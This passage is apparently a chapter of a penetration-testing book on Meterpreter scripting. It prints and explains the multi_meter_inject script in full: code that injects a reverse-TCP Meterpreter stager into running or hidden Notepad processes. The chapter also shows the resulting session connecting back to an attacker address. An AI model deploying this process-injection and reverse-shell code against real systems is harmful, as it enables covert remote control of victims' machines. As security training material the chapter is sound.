Chapter 16. Meterpreter Scripting

Metasploit’s powerful scripting environment lets you add features or options to Meterpreter. In this chapter, you’ll learn the basics of Meterpreter scripting, some useful native calls, and learn how to run these commands from within Meterpreter. We’ll cover two ways to leverage Meterpreter scripting. The first method is somewhat outdated but still important, because not all scripts have been converted. The second method is nearly identical to the one discussed in Chapter 13, so we won’t cover it in detail in this chapter. (Special thanks to Carlos Perez [darkoperator] for his contributions to this chapter.)

All Meterpreter scripts are located under the Framework root under scripts/meterpreter/. To show a listing of all scripts, press the tab key in a Meterpreter shell, enter run, and press tab again.

Let’s dissect a simple Meterpreter script and then build our own. We’ll explore the multi_meter_inject script that injects Meterpreter shells into different processes. To begin, take a look at this script in Meterpreter to see what flags and syntax are included:

meterpreter > run multi_meter_inject -h
Meterpreter script for injecting a reverse tcp Meterpreter
 payload into memory space of
multiple PID's. If none is provided, notepad.exe will be spawned and the meterpreter
payload injected into it.

OPTIONS:

    -h           Help menu.
    -m         Start Exploit multi/handler for return connection
    -mp <opt>
  Provide Multiple PID for connections separated by comma one per IP.
    -mr <opt>
  Provide Multiple IP Addresses for Connections separated by comma.
    -p  <opt>  The
 port on the remote host where Metasploit is listening (default: 4444)
    -pt   <opt>  Specify Reverse Connection Meterpreter Payload. Default windows/
                     meterpreter/reverse_tcp

meterpreter >

The first option is the -m flag , which automatically sets up a new handler for us on the return connection. We would not need to set this option if we were going to use the same port (for example, 443). Next we specify the process IDs (PIDs) that we need and the shells into which they will be injected.

Meterpreter executes in memory only. When we inject into a process, we are injecting Meterpreter into the memory space of that process. This allows us to remain stealthy, never reading or writing files to disk, while ultimately having multiple shells available to us.

We then set the IP address and port number on the attacking machine to which we want the new Meterpreter session to connect.

We issue the ps command within Meterpreter to get a list of running processes:

meterpreter > ps

Process list
============

 PID   Name                 Arch  Session  User                  Path
 ---   ----                 ----  -------  ----                  ----
 0     [System Process]
 4     System
 256   smss.exe
 364   csrss.exe
 412   wininit.exe
 424   csrss.exe
 472   winlogon.exe
 516   services.exe
 524   lsass.exe
 532   lsm.exe
 2808  iexplorer.exe      x86
meterpreter >

We’ll inject our new Meterpreter shell into the iexplorer.exe process. This will spawn a second Meterpreter console completely within memory and will never write data to the disk.

Let’s run the multi_meter_inject command using some of the switches we reviewed earlier to see if it works:

meterpreter > run multi_meter_inject -mp 2808 -mr 172.16.32.129 -p 443
  [*] Creating a reverse meterpreter stager: LHOST=172.16.32.129 LPORT=443
  [*] Injecting meterpreter into process ID 2808
  [*] Allocated memory at address 0x03180000, for 290 byte stager
  [*] Writing the stager into memory...
  [*] Sending stage (749056 bytes) to 172.16.32.170
  [+] Successfully injected Meterpreter in to process: 2808
 [*] Meterpreter session 3 opened (172.16.32.129:443 -> 172.16.32.170:1098) at
      Tue Nov 30 22:37:29 −0500 2010
  meterpreter >

As this output indicates, our command was successful and a new Meterpreter session has been opened, as shown at .

Now that you understand what this script can do, let’s examine how it works. We’ll break the script into chunks to help us parse its commands and overall structure.

First, variables and definitions are defined and the flags we want to pass to Meterpreter are set up:

# $Id: multi_meter_inject.rb 10901 2010-11-04 18:42:36Z darkoperator $
  # $Revision: 10901 $
  # Author: Carlos Perez at carlos_perez[at]darkoperator.com
  #-----------------------------------------------------------------------------
  ################## Variable Declarations ##################

  @client  = client
  lhost    = Rex::Socket.source_address("1.2.3.4")
  lport    = 4444
  lhost    = "127.0.0.1"
 pid = nil
  multi_ip = nil
  multi_pid = []
  payload_type = "windows/meterpreter/reverse_tcp"
  start_handler = nil
 @exec_opts = Rex::Parser::Arguments.new(
          "-h"  => [ false,  "Help menu." ],
          "-p"  => [ true,   "The port on the remote host where
 Metasploit is              listening (default: 4444)"],
          "-m"  => [ false,  "Start Exploit multi/handler for return connection"],
          "-pt" => [ true,   "Specify Reverse Connection
 Meterpreter Payload.              Default windows/meterpreter/reverse_tcp"],
          "-mr" => [ true,   "Provide Multiple IP Addresses
 for Connections              separated by comma."],
          "-mp" => [ true,   "Provide Multiple PID for connections
 separated by              comma one per IP."]
  )
  meter_type = client.platform

At the beginning of this section of script, notice that several variables are defined for later use. For example, pid = nil at creates a PID variable but its value is not set. The @exec_opts = Rex::Parser::Arguments.new( section at defines the additional help commands and flags that will be used.

The next section defines functions that we will call later:

################## Function Declarations ##################

  # Usage Message Function
  #-------------------------------------------------------------------------------
 def usage
          print_line "Meterpreter Script for injecting a reverse
 tcp Meterpreter Payload"
          print_line "in to memory of multiple PID's, if none is
 provided a notepad process."
          print_line "will be created and a Meterpreter Payload
 will be injected in to each."
          print_line(@exec_opts.usage)
          raise Rex::Script::Completed
  end

  # Wrong Meterpreter Version Message Function
  #-------------------------------------------------------------------------------
  def wrong_meter_version(meter = meter_type)
          print_error("#{meter} version of Meterpreter is not
 supported with this Script!")
          raise Rex::Script::Completed
  end

  # Function for injecting payload in to a given PID
  #-------------------------------------------------------------------------------
 def inject(target_pid, payload_to_inject)
          print_status("Injecting meterpreter into process ID #{target_pid}")
          begin
                  host_process = @client.sys.process.open
(target_pid.to_i, PROCESS_ALL_ACCESS)
                  raw = payload_to_inject.generate
                
mem = host_process.memory.allocate(raw.length + (raw.length % 1024))

                  print_status("Allocated memory at
 address #{"0x%.8x" % mem}, for                       #{raw.length} byte stager")
                  print_status("Writing the stager into memory...")
                host_process.memory.write(mem, raw)
                host_process.thread.create(mem, 0)
                  print_good("Successfully injected Meterpreter
 in to process: #{target_pid}")
          rescue::Exception => e
                  print_error("Failed to Inject Payload to #{target_pid}!")
                  print_error(e)
          end
  end

In this example, the function usage at will be called when the -h flag is set. You can call a number of Meterpreter functions directly from the Meterpreter API. This functionality simplifies certain tasks, such as injecting into a new process with the def inject function, as shown at .

The next important element is the host_process.memory.allocate call at , which will allow us to allocate memory space for our Meterpreter payload. We then write the memory to our process using host_process.memory.write at and create a new thread using host_process.thread.create at .

Next we define the multi-handler that handles the connections based on the selected payload, as shown in boldface in the following output. (The default is Meterpreter, so the multi-handler will handle Meterpreter sessions unless otherwise specified.)

# Function for creation of connection handler
#-------------------------------------------------------------------------------
def create_multi_handler(payload_to_inject)
        mul = @client.framework.exploits.create("multi/handler")
        mul.share_datastore(payload_to_inject.datastore)
        mul.datastore['WORKSPACE'] = @client.workspace
        mul.datastore['PAYLOAD'] = payload_to_inject
        mul.datastore['EXITFUNC'] = 'process'
        mul.datastore['ExitOnSession'] = true
        print_status("Running payload handler")
        mul.exploit_simple(
                'Payload'  => mul.datastore['PAYLOAD'],
                'RunAsJob' => true
        )

end

The pay = client.framework.payloads.create(payload) call in the following section allows us to create a payload from the Metasploit Framework. Because we know this is a Meterpreter payload, Metasploit will automatically generate it for us.

# Function for Creating the Payload
#-------------------------------------------------------------------------------
def create_payload(payload_type,lhost,lport)
        print_status("Creating a reverse meterpreter
 stager: LHOST=#{lhost} LPORT=#{lport}")
        payload = payload_type
        pay = client.framework.payloads.create(payload)
        pay.datastore['LHOST'] = lhost
        pay.datastore['LPORT'] = lport
        return pay
end

The next option spawns a process using Notepad by default. If we didn’t specify a process, it would have created a Notepad process for us automatically.

# Function that starts the notepad.exe process
#-------------------------------------------------------------------------------
def start_proc()
        print_good("Starting Notepad.exe to house Meterpreter Session.")
        proc = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true })
        print_good("Process created with pid #{proc.pid}")
        return proc.pid
end

The boldfaced call lets us execute any command on the operating system. Notice that Hidden is set to true. This means that the user on the other side (the target) will not see anything; if Notepad is opened, it will run without the target user’s knowledge.

Next we call our functions, throw if statements, and start the payload:

################## Main ##################
@exec_opts.parse(args) { |opt, idx, val|
        case opt
        when "-h"
                usage
        when "-p"
                lport = val.to_i
        when "-m"
                start_handler = true
        when "-pt"
                payload_type = val
        when "-mr"
                multi_ip = val.split(",")
        when "-mp"
                multi_pid = val.split(",")
        end
}

# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !˜ /win32|win64/i
# Create a Multi Handler is Desired
create_multi_handler(payload_type) if start_handler

Finally, we go through a couple of checks, make sure the syntax is correct, and inject our new Meterpreter session into our PID:

# Check for a PID or program name

if multi_ip
        if multi_pid
                if multi_ip.length == multi_pid.length
                        pid_index = 0
                        multi_ip.each do |i|
                                payload = create_payload(payload_type,i,lport)
                                inject(multi_pid[pid_index],payload)
                                select(nil, nil, nil, 5)
                                pid_index = pid_index + 1
                        end
                else
                        multi_ip.each do |i|
                                payload = create_payload(payload_type,i,lport)
                                inject(start_proc,payload)
                                select(nil, nil, nil, 2)
                        end
                end
        end
else
        print_error("You must provide at least one IP!")
end